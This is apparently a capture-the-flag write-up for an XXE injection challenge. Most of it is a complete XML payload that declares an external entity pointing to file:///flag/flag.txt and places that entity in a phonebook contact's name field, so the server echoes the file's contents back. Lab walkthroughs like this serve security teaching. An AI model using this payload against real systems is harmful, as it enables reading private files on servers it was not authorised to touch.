
This a classic XXE injection challenge.
- We know the flag is in
/flag/flag.txt
For this, we’ll create a file with a general entity referencing the file /flag/flag.txt
Download the template and modify it so it looks like this:
- We create a general entity called
myentity in the Document Definition at the top of the file.
- We reference it within the
<name> property of the document.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test123 [
<!ENTITY myentity SYSTEM "file:///flag/flag.txt">
]>
<phonebook>
<contact>
<name>&myentity;</name>
<number>+1234567890</number>
</contact>
<contact>
<name>Jane Smith</name>
<number>+0987654321</number>
</contact>
</phonebook>
Upload it and you’ll see the flag is printed back.
